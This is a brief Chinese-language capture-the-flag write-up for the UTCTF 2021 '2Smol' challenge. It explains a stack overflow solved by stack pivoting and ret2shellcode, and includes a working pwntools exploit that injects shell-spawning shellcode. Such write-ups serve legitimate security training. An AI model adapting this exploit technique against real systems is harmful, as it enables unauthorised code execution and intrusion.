utctf2021 write up for 2Smol

又是一道栈迁移…

惯例的checksec，保护全关，整挺好

拖入IDA进行分析

直接就有一个很大的溢出可以利用

由于程序本身没有调用libc库，故考虑栈迁移 + ret2shellcode以get shell

构造exp如下：

from pwn import *
context.arch = 'amd64'
p = process('./smol') # p = remote('pwn.utctf.live', 9998)
p.send(b'A' * 8 + p64(0x402008 + 0x500) + p64(0x401015))
p.send(p64(0x402020 + 0x500) * 4 + asm(shellcraft.sh()))
p.interactive()

运行即可get shell